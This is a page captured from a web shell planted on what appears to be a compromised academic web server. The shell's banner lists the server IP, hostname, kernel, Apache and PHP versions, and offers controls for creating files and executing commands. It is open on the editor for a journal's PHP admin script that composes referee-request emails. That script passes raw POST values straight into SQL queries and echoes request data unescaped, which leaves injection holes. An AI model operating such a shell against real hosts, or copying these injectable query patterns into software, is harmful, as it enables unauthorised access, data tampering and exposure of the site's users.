One Hat Cyber Team
Your IP :
216.73.216.115
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
nosc
/
public_html
/
admin
/
Edit File:
email_compose.php~
<?php include_once("header.php"); include_once("functions_admin.php"); if (!isset($_send_to)) $_send_to = $_POST['_send_to']; if (!$_send_to) $_send_to = "main"; if (!isset($selected_emails)) $selected_emails = $_POST['selected_emails']; // if (!isset($formal)) $formal = $_POST['formal']; //$_files,$_files_selected //$_files $dir = revision_dir_name($_POST['revision_id']); $_files = dir_contents($dir); function prepare_letter ($person,$rev,$msg,$referee_entry_id=0) { // tell("here"); global $_journal,$lang,$_send_to_all,$formal; $t = ""; if ($person['id']) { $l = preferred_language($person['id']); $t = $t . "<form name=gen_letter action=".$_SERVER['PHP_SELF']." method=\"post\">"; $t = $t . pass("lang",$lang); $t = $t . pass_GET(); $t = $t . pass_POST(); $t = $t . pass("_send_to_all",$_send_to_all); $t = $t . pass("revision_id",$rev['id']); $t = $t . pass("formal",$formal); // $t = $t . pass("id_selected",$id_selected); if ($referee_entry_id) $t = $t . pass("referee_entry_id",$referee_entry_id); $t = $t . pass("subject",$_journal['name']['en']." (".enruua_var('en',"Art.","Art.","Art.") ." ".number("en")." ".$rev['article_id'].")"); $t = $t . pass("your_email_address",$_journal['email']); $t = $t . pass("name",plain_short_name($person['id'])); // $t = $t . pass("email",$person['email']); $t = $t . pass("message",$message); /* $t = $t . "<p><input type=submit id=big value=\"".enruua("Generate the letter text", "Сгенерировать текст письма","Згенерувати текст листа")."\">";*/ $t = $t . "</form>\n"; } else { $t = "error????: ".$rev['id'] ; }; return $t; }//request_referee //tell($_POST['revision_id']); $rev = revision($_POST['revision_id']); $ref = referee($_POST['referee_entry_id']); $person = person($ref['referee_id']); if ($_POST['_should_save_date']) { if ($_POST['referee_entry_id']) { mysql_query("update Referees set requested=now() where ". $_POST['referee_entry_id'] . " "); } else { tell(enruua("Invalid referee id","Неверный номер рецензента","Невірний номер рецензента")."!"); } } if (!isset($language)) $language = preferred_language($person); $message = //gen_msg($person,$formal,"refereeing_request",$ref['id'],$rev['id']); letter_opening($person,$formal,$language) . gen_msg($person,$formal,"foo",$ref['id'],$rev['id'],$language) . letter_closing($person,$formal,$language); echo prepare_letter($person,$rev,$message,$_POST['referee_entry_id']); ?> <form name=letter action="<? echo $_SERVER['PHP_SELF'];?>" method="post"> <?php echo pass("lang",$lang); echo pass_GET(); echo pass_POST(); echo pass("revision_id",$rev['id']); echo pass("formal",$formal); echo pass("_send_to",$_send_to); echo pass("language",$language); if ($referee_entry_id) echo pass("referee_entry_id",$referee_entry_id); if ($referee_entry_id) echo pass("referee_entry_id",$referee_entry_id); ?> <fieldset> <legend><?echo enruua("Style and language","Стиль и язык","Стиль та мова");?></legend> <table> <tr> <td><? echo enruua("Letter style","Стиль письма","Стиль листа");?></td> <td> <select name=formal onchange="document.gen_letter.formal.value='<?php print($formal? 0: 1);?>'; document.gen_letter.submit();"> <option value=1<? if ($formal) echo " selected"; echo ">".enruua("formal","формальный","формальний ");?></option> <option value=0<? if (!$formal) echo " selected"; echo ">".enruua("less formal","более свободный","вільніший ");?></option> </select></td> </tr> <?php echo "<tr>\n"; echo "<td>\n"; echo enruua("Letter language","Язык письма","Мова листа"); echo "</td>\n"; echo "<td><select name=\"language\" onchange=\"this.form.submit();\">\n"; echo "<option "; if($language=="en") echo(" selected "); echo " value=en>".enruua("English","английский","англійська")."\n"; echo "<option"; if($language=="ru") echo(" selected "); echo " value=ru>".enruua("Russian","русский","російська")."\n"; echo "<option"; if($language=="ua") echo(" selected "); echo " value=ua>".enruua("Ukrainian","украинский","українська")."\n"; echo "</select></td>\n"; echo "</tr>\n"; ?> </table> </fieldset> </form> <form action="save_referee_request.php" method="post" onsubmit="return confirm('<? echo enruua("Are you sure","Вы уверены","Ви впевнені");?>?');"> <?php echo pass("revision_id",$rev['id']); echo pass("referee_entry_id",$ref['id']); echo pass("language",$language); echo pass("message",$message); ?> <fieldset> <legend><?echo enruua("Addressee","Адресат","Адресат");?></legend> <table> <? echo "<colgroup> <col width=20%*> <col width=70%*> <col width=10%*> </colgroup>\n"; ?> <tr> <td><? echo enruua("Addressee's name","Имя адресата","Ім'я адресата");?> </td> <td><input readonly type="text" name="name" style="width: 50%" value=" <? echo plain_short_name($person['id'],0,$language);?>" </td> </TR> <TR> <td><? echo enruua("The addresses where the message is to be sent", "Адреса, на которыe будет послано сообщение","Адреси, на якi буде надіслано повідомлення");?> <table> <tr> <td> <?php echo "<input type=radio value=\""."all"."\" name=_send_to onclick=\"document._send_to_all.submit();\""; if ($_send_to=="all") echo " checked"; echo "> ".enruua("on all the addresses", "на все адреса","на всі адреси")."</input>\n"; ?> </td> </tr> <tr> <td> <?php echo "<input type=radio value=\""."main"."\" name=_send_to onclick=\"document._send_to_main.submit();\""; if ($_send_to=="main") echo " checked"; echo "> ".enruua("on the main address","на главный адрес","на головну адресу")."</input>\n"; ?> </td> </tr> </table> </td> <td> <SELECT MULTIPLE name="email[]"> <?php $res_em = mysql_query("SELECT id,email_field FROM Emails WHERE person_id='".$person['id']."'"); while ($email = mysql_fetch_array($res_em)) { echo "<OPTION"; if (isset($selected_emails)) {} elseif (is_primary_email($person,$email['id']) || $_send_to=="all") echo " SELECTED"; echo " value=\"".$email['email_field']."\">".$email['email_field']; echo "</OPTION>"; } ?> </SELECT> </td> </TR> <TR> <TD><? echo enruua("Subject","Тема","Тема");?> </TD> <TD><input type="text" name="subject" style="width: 80%" value="<?php echo $_journal['name']['en']." (".enruua_var('en',"Article","статья","стаття") ." ".number('en')." ".$rev['article_id'].": ".enruua_var('en',"refereeing","рецензирование","рецензування").")"; /*$_POST['subject'];*/ ?>"> </TD> </TR> </TABLE> </fieldset> <fieldset> <legend><?echo enruua("Message text","Текст сообщения","Текст повідомлення");?></legend> <!--<textarea cols="40" rows="10" name="message" style="width: 80%">--> <?php echo "<div class=letter>\n"; //echo gen_msg($person,$formal,"refereeing_request",$ref['id'],$rev['id'],$language); echo $message; echo "</div>\n"; ?> </FIELDSET> <? if ($_files) { ?> <FIELDSET> <LEGEND> <?php echo enruua("Attached files","Прилагаемые файлы","Прикладені файли"); ?> </LEGEND> <SELECT MULTIPLE name="attachement[]"> <?php foreach (dir_contents($dir) as $f) { echo "<OPTION"; echo " value=\"".$dir."/".$f."\""; echo " SELECTED "; echo ">".$f; echo " (".readable_file_size($dir."/".$f).")"; echo "</OPTION>\n"; // echo file_link(revision_dir_name_web($revision_id)."/".$f); //echo "<a href=\"".$dir."/".$f."\">".$f."</a>"; } ?> </SELECT> </FIELDSET> <? } else { } ?> <br> <?php if (!isset($menu_title)) $menu_title=enruua("What is to be done","Что делать","Що робити")."?"; if(!$submit_title) $submit_title=enruua("Send","Отправить","Відправити"); if(!$cancel_title) $leave_title = enruua("Do not send","Не отправлять","Не відправляти"); echo "<div class=control>\n<table width=100%><caption>".enruua("What is to be done","Что делать","Що робити")."?" ."</caption>"; echo "<tr>\n"; echo "<td>\n"; echo "<input type=submit id=proceed" . _title_BoxOver(enruua("Explanation","Объяснение","Пояснення"), enruua("By pressing this button you will send the message that you have composed", "Нажатие этой кнопки Вы отправите созданное Вами сообщение", "Натисненням цієї кнопки Ви відправите створене Вами повідомлення").".")." " . "value=\"".$submit_title."\">"; echo "</td>\n"; echo "</table>\n"; echo "</form>\n"; echo "<form action=".revision_edit_page($revision_id)." method=\"post\">"; echo "<table width=100%>"; echo "<tr>\n"; echo "<td>\n"; echo "<input type=submit id=leave" . _title_BoxOver(enruua("Explanation","Объяснение","Пояснення"), enruua("Press this button to cancel the message composition", "Нажмите этой кнопку, чтобы отменить составление письма", "Натисніть цю кнопку, щоб відмінити створення листа").".")." " . " onclick=\" return confirm('" .enruua("The message will be cancelled and, hence, will not be sent to the addressee. Do you confirm that this is what you want to do", "Отправка Вашего сообщения будет отменена. Вы подтверждаете, что хотите это сделать", "Відправлення Вашого повідомлення буде відмінено. Ви підтвержуєте, що хочете це зробити")."?" ." ') \"" . " value=\"".$leave_title."\">"; echo "</td>\n"; echo "</tr>\n"; echo "</table>\n"; echo "</form>\n"; echo "</div>\n"; ?> <?php echo pass("lang",$lang); ?> </form> <form name=_send_to_all action="<?php echo $_SERVER['PHP_SELF']?>" method=post> <?php echo pass_GET(); echo pass_POST(); echo pass("_send_to","all"); echo pass("lang",$lang); echo pass("formal",$formal); echo pass("language",$language); echo pass("revision_id",$revision_id); if ($referee_entry_id) echo pass("referee_entry_id",$referee_entry_id); ?> </form> <form name=_send_to_main action="<?php echo $_SERVER['PHP_SELF']?>" method=post> <?php echo pass_GET(); echo pass_POST(); echo pass("_send_to","main"); echo pass("lang",$lang); echo pass("formal",$formal); echo pass("language",$language); echo pass("revision_id",$revision_id); if ($referee_entry_id) echo pass("referee_entry_id",$referee_entry_id); ?> </form> <?php include_once("footer.php"); ?>
Simpan